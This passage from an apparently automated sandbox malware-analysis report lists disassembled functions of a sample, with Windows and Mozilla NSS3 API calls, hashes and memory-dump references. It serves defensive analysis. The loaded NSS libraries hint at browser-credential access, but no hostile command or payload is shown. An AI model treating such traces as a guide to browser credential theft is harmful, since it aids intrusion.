free.MOZGLUE(8CB6FF01,6C746AC6,?,?,?,?,?,?,?,?,?,?,6C755D40,00000000,?,6C75AAD4), ref: 6C76AC62

Strings

@]ul, xrefs: 6C76AC05

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]ul
API String ID: 1595327144-3363346946
Opcode ID: 8a5870fbaea32d6be493f7b406576c9f7312d5a642fca696eefb37572418df69
Instruction ID: a4fa18c240ba719c0722012e0daa555731952e8dbac69e9f3dca08e2c8e52ecd
Opcode Fuzzy Hash: 8a5870fbaea32d6be493f7b406576c9f7312d5a642fca696eefb37572418df69
Instruction Fuzzy Hash: 1F014BB56002109FDB10DF15EAC5B56B7E8AF44B6CF188078ED498FB06D735E948CBA1

Function 6C659C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C659CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C659D45
EnterCriticalSection.KERNEL32(?), ref: 6C659D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C659DDE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c1ee3133f6c3557b4e3d0a1d86578849579aa018d7a8e869e83effd642a858fb
Instruction ID: 30877ba9dd683417f90b8bbe56f8c05585ef87f9c7b49d5a56c32f98f0e3ef91
Opcode Fuzzy Hash: c1ee3133f6c3557b4e3d0a1d86578849579aa018d7a8e869e83effd642a858fb
Instruction Fuzzy Hash: 59A1A1B17041018FEB28DF24D98DB6A77B5BB8230DF68413CD80647E41DB3AA856CBD6

Function 6C6E1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C6E1ECC

Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890AB
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890C9
Part of subcall function 6C789090: EnterCriticalSection.KERNEL32 ref: 6C7890E5
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C789116
Part of subcall function 6C789090: LeaveCriticalSection.KERNEL32 ref: 6C78913F

TlsGetValue.KERNEL32 ref: 6C6E1EDF
EnterCriticalSection.KERNEL32(?), ref: 6C6E1EEF
PR_ExitMonitor.NSS3(?), ref: 6C6E1F37
PR_Unlock.NSS3(?), ref: 6C6E1F44

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 772ff352569aaf06968eb33543320a8ae5c9f93cd9ba8516256799fced220230
Instruction ID: 447944603470bd6bec6c9a685a101c44fbcbdc9620aec51e53f4accb9d9b5144
Opcode Fuzzy Hash: 772ff352569aaf06968eb33543320a8ae5c9f93cd9ba8516256799fced220230
Instruction Fuzzy Hash: A871C0B19093029FD700CF24D840A4AB7F1FF89358F14492AE85993B22E731F959CBD6

Function 6C76DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C76DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C76DE77

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: e6b8c95bdc1abb0c8c126b2fd41c3c77c6628f6ba2b9cddbbbbd79f28b3de548
Instruction ID: 6c89cc0c8a3bdfe6c9f51f47a2507376231be90b9e901712b4c064bc985f44f9
Opcode Fuzzy Hash: e6b8c95bdc1abb0c8c126b2fd41c3c77c6628f6ba2b9cddbbbbd79f28b3de548
Instruction Fuzzy Hash: 39716771A10315CFDB20CF9AC684A89B7B4BFA9718F25817EDD596BB02D770A905CF80

Function 6C6EBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C6EBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6EBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C9F71,?,?,00000000), ref: 6C6EBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6EBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6EC014

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: a3b6ae6e928f45c57d1bb4c87de69402f5d9a038895f214e91e1388cfa66da3a
Instruction ID: 4a6b6b82f224e977f56595dc46bb3a6c0141499565a6d6c277a3a9dd31b81138
Opcode Fuzzy Hash: a3b6ae6e928f45c57d1bb4c87de69402f5d9a038895f214e91e1388cfa66da3a
Instruction Fuzzy Hash: 7C41F871A063019BEB00CE66CC44BBA73B8AF89308F15412AD819D7B81FB31E905CBD9

Function 6C6BEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6BEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C6BEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C6BEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6BEEEB
free.MOZGLUE(?), ref: 6C6BEEF6

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: fb166eb93b2b3c4e98535ae8f47e7389c3b99065051497e94eb27d520c61a925
Instruction ID: 1bd78e298ebe12ee21695d22f54124d48a324aafe8fb98f4ed1eb681979a99a7
Opcode Fuzzy Hash: fb166eb93b2b3c4e98535ae8f47e7389c3b99065051497e94eb27d520c61a925
Instruction Fuzzy Hash: 05316CB1A002019BE7209F2CCC49BA67BF4FB46318F140578F85A97B51D735E826CBE9

Function 6C6C1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6C1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6C1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C6C1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C6C1EAD

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 230487761ab58c8f4f5165ac91bc7283850c17cc322cc79641b87cfc0cde01e3
Instruction ID: 86077f35c7192e6c402479721a66f1ddfeccd25e6593207f0b1c224a70c1af02
Opcode Fuzzy Hash: 230487761ab58c8f4f5165ac91bc7283850c17cc322cc79641b87cfc0cde01e3
Instruction Fuzzy Hash: CF212572F04310ABDB008EA9DC44B8B7394EB89328F548638ED5997B80E730D90A87D7

Function 6C7D1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C7D1E5C

Part of subcall function 6C789BF0: TlsGetValue.KERNEL32(?,?,?,6C7D0A75), ref: 6C789C07

PR_Lock.NSS3(00000000), ref: 6C7D1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7D1EAB
PR_GetCurrentThread.NSS3 ref: 6C7D1ED0
PR_Unlock.NSS3(?), ref: 6C7D1EE8

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 17644ca7104c9289fa3d74fec6bfbb810310a5e30ef01a5b5f263b6ffea669bc
Instruction ID: 653ef9fea9949a7163d3e4494b6a8ef0bd962305a6fee8105018f3d0aa17d7bc
Opcode Fuzzy Hash: 17644ca7104c9289fa3d74fec6bfbb810310a5e30ef01a5b5f263b6ffea669bc
Instruction Fuzzy Hash: 0321BD74A15513ABD710CF29DA44A06B7B9FF4472AF268229D8158BF41D330FC10CBD1

Function 6C71BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C6CE708,00000000,00000000,00000004,00000000), ref: 6C71BE6A

Part of subcall function 6C720840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7208B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6D04DC,?), ref: 6C71BE7E

Part of subcall function 6C71FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C718D2D,?,00000000,?), ref: 6C71FB85
Part of subcall function 6C71FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C71FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C71BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6D04DC,?,?), ref: 6C71BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C71BEEB

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 40ee7726f62bc3a5d2267ce4af9525a41d1d576956ffdb0f8417656e81259e63
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 9F1134E660C2056BE7008966AF88F1B736E9B40758F1C4131FE0482F52E731E90887E1

Function 6C6CAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C6C3FFF,00000000,?,?,?,?,?,6C6C1A1C,00000000,00000000), ref: 6C6CADA7

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C6C3FFF,00000000,?,?,?,?,?,6C6C1A1C,00000000,00000000), ref: 6C6CADB4

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C6C3FFF,?,?,?,?,6C6C3FFF,00000000,?,?,?,?,?,6C6C1A1C,00000000), ref: 6C6CADD5

Part of subcall function 6C71FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C718D2D,?,00000000,?), ref: 6C71FB85
Part of subcall function 6C71FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C71FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7E94B0,?,?,?,?,?,?,?,?,6C6C3FFF,00000000,?), ref: 6C6CADEC

Part of subcall function 6C71B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7F18D0,?), ref: 6C71B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6C3FFF), ref: 6C6CAE3C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: bdbefcf161bf4de1a8f0bb4b67116b32d4ef0b86e1c2bec6925552505fee05e1
Instruction ID: ca12e05012b53491f824dd610b8561629e58900a8f8bb806a0c2e66e5d192657
Opcode Fuzzy Hash: bdbefcf161bf4de1a8f0bb4b67116b32d4ef0b86e1c2bec6925552505fee05e1
Instruction Fuzzy Hash: B8115662F002045BE7109B659D0CBBF73E8DF9524CF044228EC1996B42FB20F95982E7

Function 6C6ECD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C701E10: TlsGetValue.KERNEL32 ref: 6C701E36
Part of subcall function 6C701E10: EnterCriticalSection.KERNEL32(?,?,?,6C6DB1EE,2404110F,?,?), ref: 6C701E4B
Part of subcall function 6C701E10: PR_Unlock.NSS3 ref: 6C701E76

free.MOZGLUE(?,6C6ED079,00000000,00000001), ref: 6C6ECDA5
PK11_FreeSymKey.NSS3(?,6C6ED079,00000000,00000001), ref: 6C6ECDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C6ED079,00000000,00000001), ref: 6C6ECDCF
DeleteCriticalSection.KERNEL32(?,6C6ED079,00000000,00000001), ref: 6C6ECDE2
free.MOZGLUE(?), ref: 6C6ECDE9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: f2b1d2a23261ab781eb8775b89244ea4ec64ee73194718bc7b7e8568ef3e5120
Instruction ID: 65aeea2dfac7e12b8552fdf0bd769950c6db6dd74a307b5d9c91009aad9fc665
Opcode Fuzzy Hash: f2b1d2a23261ab781eb8775b89244ea4ec64ee73194718bc7b7e8568ef3e5120
Instruction Fuzzy Hash: C711A3F2B06112BBDB00AA65ED499967BACBB0836D7140132E90A87E01E732E424CBD1

Function 6C752CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C755B40: PR_GetIdentitiesLayer.NSS3 ref: 6C755B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C752CEC

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PR_EnterMonitor.NSS3(?), ref: 6C752D02
PR_EnterMonitor.NSS3(?), ref: 6C752D1F
PR_ExitMonitor.NSS3(?), ref: 6C752D42
PR_ExitMonitor.NSS3(?), ref: 6C752D5B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: a22918113401b75663df5359a5061f83bf4a0ef58b9d5859c55daf4c566040c5
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 2A012BB19417005FE7309E25FD49BC7B3A1EF51318F404535E95E86B12EA32F425C792

Function 6C752D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C755B40: PR_GetIdentitiesLayer.NSS3 ref: 6C755B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C752D9C

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PR_EnterMonitor.NSS3(?), ref: 6C752DB2
PR_EnterMonitor.NSS3(?), ref: 6C752DCF
PR_ExitMonitor.NSS3(?), ref: 6C752DF2
PR_ExitMonitor.NSS3(?), ref: 6C752E0B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: b01601a17c203f3f203e6aec0246705ecb643228d144855ca846eac8fec540ce
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: E101C4B1A41300AFEA309E25FD0DBC7B7A5EF51318F444435E95E86B12DA32F8358692

Function 6C6EAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6EAE42), ref: 6C6D30AA
Part of subcall function 6C6D3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D30C7
Part of subcall function 6C6D3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6D30E5
Part of subcall function 6C6D3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6D3116
Part of subcall function 6C6D3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6D312B
Part of subcall function 6C6D3090: PK11_DestroyObject.NSS3(?,?), ref: 6C6D3154
Part of subcall function 6C6D3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6C99FF,?,?,?,?,?,?,?,?,?,6C6C2D6B,?), ref: 6C6EAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6C99FF,?,?,?,?,?,?,?,?,?,6C6C2D6B,?), ref: 6C6EAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6C2D6B,?,?,00000000), ref: 6C6EAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C6C2D6B,?,?,00000000), ref: 6C6EAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6C2D6B,?,?), ref: 6C6EAEA3

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
